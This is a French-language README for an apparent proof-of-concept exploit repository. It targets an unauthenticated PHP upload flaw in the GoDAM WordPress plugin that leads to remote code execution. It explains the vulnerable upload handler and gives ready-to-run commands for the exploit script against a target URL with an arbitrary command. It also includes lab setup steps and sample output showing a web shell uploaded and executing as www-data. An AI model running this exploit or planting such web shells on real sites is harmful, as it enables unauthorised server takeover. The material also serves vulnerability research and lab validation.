
GoDAM WordPress plugin <= 1.12.2 unauthenticated file upload RCE (CVE-2026-14282)
Auteur : nullwhisper
Cas d'utilisation : recherche en sécurité autorisée / validation de vulnérabilité uniquement.
Les versions <= 1.12.2 du plugin WordPress GoDAM enregistrent un champ WPForms nommé godam_record. Le gestionnaire de téléversement save_video_file() est rattaché à l'action publique wpforms_process_before_filter, il s'exécute donc avant toute vérification d'authentification. Le gestionnaire se fie à l'en-tête Content-Type contrôlé par l'attaquant, accepte un fichier PHP tant que le type MIME commence par video/, et le déplace dans le répertoire servi par le web wp-content/uploads/godam/wpforms/. Cela permet à un attaquant non authentifié de téléverser et d'exécuter du code PHP arbitraire.
.
├── cve_2026_14282_poc.py # Main PoC
├── lab/
│ ├── docker-compose.yml # WordPress lab
│ └── setup.php # Creates a WPForms form with GoDAM field
├── requirements.txt
└── README.md
pip3 install -r requirements.txt
python3 cve_2026_14282_poc.py -u https://target.com/page-with-form
Le script détecte automatiquement l'ID du formulaire WPForms et l'ID du champ GoDAM. Si la page contient plusieurs formulaires ou si la détection échoue, utilisez :
python3 cve_2026_14282_poc.py -u https://target.com/page-with-form \
--form-id 4 --field-id 1 --cmd "whoami"
Téléchargez les plugins vulnérables (ne redistribuez pas les binaires) :
mkdir -p lab/wpforms-lite lab/godam
cd lab/wpforms-lite
wget https://downloads.wordpress.org/plugin/wpforms-lite.latest-stable.zip
unzip wpforms-lite.latest-stable.zip
rm wpforms-lite.latest-stable.zip
cd ../godam
wget https://downloads.wordpress.org/plugin/godam.1.12.2.zip
unzip godam.1.12.2.zip
rm godam.1.12.2.zip
cd ../..
Démarrez le laboratoire :
cd lab
docker compose up -d
Terminez l'installation de WordPress à l'adresse http://127.0.0.1:8092.
Installez et activez les plugins, puis créez le formulaire et la page de test :
docker exec -i lab-wpcli-1 wp plugin activate wpforms-lite --allow-root
docker exec -i lab-wpcli-1 wp plugin activate godam --allow-root
docker exec -i lab-wpcli-1 php /tmp/setup.php
Exécutez le PoC :
python3 cve_2026_14282_poc.py -u 'http://127.0.0.1:8092/?page_id=7' --cmd 'echo PWNED'
Testé sur WordPress 6.8 + WPForms Lite (dernière version) + GoDAM 1.12.2.
[*] Detecting WPForms form and GoDAM field...
[*] Found form ID 4, GoDAM field(s): 1
[*] Trying upload via field 1...
[+] Shell uploaded and executed: http://127.0.0.1:8092/wp-content/uploads/godam/wpforms/godam-shell.php
[+] Output: GODAM-RCE-Linux ... uid=33(www-data) gid=33(www-data) groups=33(www-data)
[*] Command output:
GODAM-RCE-Linux ... PWNED
Ce dépôt ne contient que le PoC et les fichiers d'orchestration du laboratoire. Les binaires des plugins vulnérables sont exclus afin d'éviter l'encombrement et les problèmes de distribution. Téléchargez les versions vulnérables spécifiques depuis WordPress.org pour votre propre laboratoire.
Cet outil est destiné uniquement aux tests de sécurité et à la recherche autorisés. Ne l'utilisez pas contre des systèmes que vous ne possédez pas ou pour lesquels vous ne disposez pas d'une autorisation explicite de test. L'auteur n'est pas responsable de l'utilisation abusive ou des dommages causés par ce code.